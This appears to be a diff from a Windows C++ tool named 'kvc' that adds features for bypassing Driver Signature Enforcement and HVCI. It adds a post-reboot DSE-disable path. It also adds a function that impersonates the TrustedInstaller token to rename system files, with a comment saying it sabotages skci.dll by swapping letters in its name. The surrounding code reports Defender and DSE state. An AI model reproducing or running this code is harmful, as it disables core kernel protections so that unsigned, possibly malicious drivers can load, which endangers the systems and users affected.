|
||||
INFO(L" g_CiOptions value: 0x%08X", value);
|
||||
INFO(L" Bit 1 (Test signing): %s", (value & 0x2) ? L"SET" : L"CLEAR");
|
||||
INFO(L" Bit 2 (Unsigned drivers): %s", (value & 0x4) ? L"SET" : L"CLEAR");
|
||||
INFO(L"g_CiOptions address: 0x%llX", ciOptionsAddr);
|
||||
INFO(L"g_CiOptions value: 0x%08X", value);
|
||||
INFO(L"Bit 1 (Test signing): %s", (value & 0x2) ? L"SET" : L"CLEAR");
|
||||
INFO(L"Bit 2 (Unsigned drivers): %s", (value & 0x4) ? L"SET" : L"CLEAR");
|
||||
std::wcout << L"\n";
|
||||
|
||||
// Check for HVCI/VBS first
|
||||
if (hvciEnabled) {
|
||||
SUCCESS(L"Driver Signature Enforcement: ENABLED");
|
||||
std::wcout << L"\n";
|
||||
ERROR(L"[!] HVCI/VBS detected (flags: 0x%05X)", (value & 0x0001C000));
|
||||
ERROR(L"[!] System uses VBS with hypervisor protection (Ring -1 below kernel)");
|
||||
ERROR(L"[!] DSE bypass not available - kernel memory protected by Secure Kernel");
|
||||
}
|
||||
else if (dseEnabled) {
|
||||
SUCCESS(L"Driver Signature Enforcement: ENABLED");
|
||||
INFO(L"System is protected - only signed drivers can load");
|
||||
INFO(L"DSE bypass available - use 'kvc dse off' to disable");
|
||||
} else {
|
||||
ERROR(L"Driver Signature Enforcement: DISABLED");
|
||||
INFO(L"WARNING: Unsigned drivers can be loaded!");
|
||||
INFO(L"Use 'kvc dse on' to restore protection");
|
||||
}
|
||||
// Check for HVCI/VBS first
|
||||
if (hvciEnabled) {
|
||||
SUCCESS(L"Driver Signature Enforcement: ENABLED");
|
||||
std::wcout << L"\n";
|
||||
INFO(L"HVCI/Virtualization-Based Security detected (flags: 0x%05X)", (value & 0x0001C000));
|
||||
INFO(L"Hypervisor protection active - direct memory patching blocked");
|
||||
INFO(L"HVCI bypass available via non-invasive library method");
|
||||
INFO(L"Requires system restart to complete bypass workflow");
|
||||
INFO(L"Use 'kvc dse off' to initiate automated HVCI bypass");
|
||||
}
|
||||
else if (dseEnabled) {
|
||||
SUCCESS(L"Driver Signature Enforcement: ENABLED");
|
||||
INFO(L"Kernel protection active - only signed drivers allowed");
|
||||
INFO(L"DSE bypass available without restart - use 'kvc dse off'");
|
||||
} else {
|
||||
INFO(L"Driver Signature Enforcement: DISABLED");
|
||||
INFO(L"System security reduced - unsigned drivers allowed");
|
||||
INFO(L"Use 'kvc dse on' to restore kernel protection (no restart required)");
|
||||
}
|
||||
|
||||
std::wcout << L"\n";
|
||||
return 0;
|
||||
@@ -296,11 +298,40 @@ int wmain(int argc, wchar_t* argv[])
|
||||
std::wstring_view subCmd = argv[2];
|
||||
|
||||
if (subCmd == L"off") {
|
||||
INFO(L"Disabling Driver Signature Enforcement...");
|
||||
// Check if this is post-reboot execution
|
||||
HKEY hKey;
|
||||
bool postReboot = false;
|
||||
|
||||
if (!g_controller->DisableDSE()) {
|
||||
ERROR(L"Failed to disable DSE");
|
||||
return 2;
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
|
||||
KEY_READ, &hKey) == ERROR_SUCCESS) {
|
||||
wchar_t state[256] = {0};
|
||||
DWORD size = sizeof(state);
|
||||
|
||||
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
|
||||
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
|
||||
if (wcscmp(state, L"AwaitingRestore") == 0) {
|
||||
postReboot = true;
|
||||
}
|
||||
}
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
if (postReboot) {
|
||||
DEBUG(L"Post-reboot DSE disable detected");
|
||||
INFO(L"Completing DSE bypass after reboot...");
|
||||
|
||||
if (!g_controller->DisableDSEAfterReboot()) {
|
||||
ERROR(L"Failed to complete DSE disable after reboot");
|
||||
return 2;
|
||||
}
|
||||
} else {
|
||||
DEBUG(L"Normal DSE disable request");
|
||||
INFO(L"Disabling Driver Signature Enforcement...");
|
||||
|
||||
if (!g_controller->DisableDSE()) {
|
||||
ERROR(L"Failed to disable DSE");
|
||||
return 2;
|
||||
}
|
||||
}
|
||||
|
||||
SUCCESS(L"DSE disabled successfully!");
|
||||
@@ -382,8 +413,8 @@ int wmain(int argc, wchar_t* argv[])
|
||||
|
||||
std::wcout << L"\n";
|
||||
INFO(L"Service Information:");
|
||||
INFO(L" Name: %s", ServiceConstants::SERVICE_NAME);
|
||||
INFO(L" Display Name: %s", ServiceConstants::SERVICE_DISPLAY_NAME);
|
||||
INFO(L" Name: %s", ServiceConstants::SERVICE_NAME);
|
||||
INFO(L" Display Name: %s", ServiceConstants::SERVICE_DISPLAY_NAME);
|
||||
std::wcout << L"\n";
|
||||
|
||||
if (installed) {
|
||||
@@ -790,7 +821,7 @@ int wmain(int argc, wchar_t* argv[])
|
||||
// Combine remaining arguments
|
||||
std::wstring fullCommand;
|
||||
for (int i = 2; i < argc; i++) {
|
||||
if (i > 2) fullCommand += L" ";
|
||||
if (i > 2) fullCommand += L"";
|
||||
fullCommand += argv[i];
|
||||
}
|
||||
|
||||
@@ -844,21 +875,21 @@ int wmain(int argc, wchar_t* argv[])
|
||||
INFO(L"Security Engine Status: ENABLED (Active Protection)");
|
||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
std::wcout << L" ✓ Windows Defender is actively protecting the system\n";
|
||||
std::wcout << L" ✓ Windows Defender is actively protecting the system\n";
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
}
|
||||
else if (status == DefenderManager::SecurityState::DISABLED) {
|
||||
INFO(L"Security Engine Status: DISABLED (Inactive Protection)");
|
||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
|
||||
std::wcout << L" ✗ Windows Defender protection is disabled\n";
|
||||
std::wcout << L" ✗ Windows Defender protection is disabled\n";
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
}
|
||||
else {
|
||||
INFO(L"Security Engine Status: UNKNOWN (Cannot determine state)");
|
||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
std::wcout << L" ? Unable to determine Defender protection state\n";
|
||||
std::wcout << L" ? Unable to determine Defender protection state\n";
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
|
||||
}
|
||||
|
||||
|
||||
@@ -483,8 +483,43 @@ bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(const std::ws
|
||||
return success;
|
||||
}
|
||||
|
||||
// Rename system32 library skci.dll with intentional letter swap typo
|
||||
bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(const std::wstring& srcPath,
|
||||
const std::wstring& dstPath) noexcept
|
||||
{
|
||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||
if (!hToken) {
|
||||
ERROR(L"Failed to get TrustedInstaller token");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!ImpersonateLoggedOnUser(hToken)) {
|
||||
ERROR(L"Failed to impersonate TrustedInstaller");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Clear attributes on source
|
||||
DWORD attrs = GetFileAttributesW(srcPath.c_str());
|
||||
if (attrs != INVALID_FILE_ATTRIBUTES) {
|
||||
SetFileAttributesW(srcPath.c_str(), FILE_ATTRIBUTE_NORMAL);
|
||||
}
|
||||
|
||||
BOOL result = MoveFileW(srcPath.c_str(), dstPath.c_str());
|
||||
DWORD error = result ? ERROR_SUCCESS : GetLastError();
|
||||
|
||||
RevertToSelf();
|
||||
|
||||
if (!result) {
|
||||
ERROR(L"Failed to rename file: %s -> %s (error: %d)", srcPath.c_str(), dstPath.c_str(), error);
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"File renamed successfully: %s -> %s", srcPath.c_str(), dstPath.c_str());
|
||||
return true;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// REGISTRY OPERATIONS (NEW)
|
||||
// REGISTRY OPERATIONS
|
||||
// ============================================================================
|
||||
|
||||
bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,
|
||||
|
||||
@@ -26,6 +26,9 @@ public:
|
||||
const std::vector<BYTE>& data) noexcept;
|
||||
bool DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept;
|
||||
|
||||
bool RenameFileAsTrustedInstaller(const std::wstring& srcPath,
|
||||
const std::wstring& dstPath) noexcept;
|
||||
|
||||
// Creates a directory with TrustedInstaller privileges
|
||||
bool CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept;
|
||||
|
||||
|
||||
Reference in New Issue
Block a user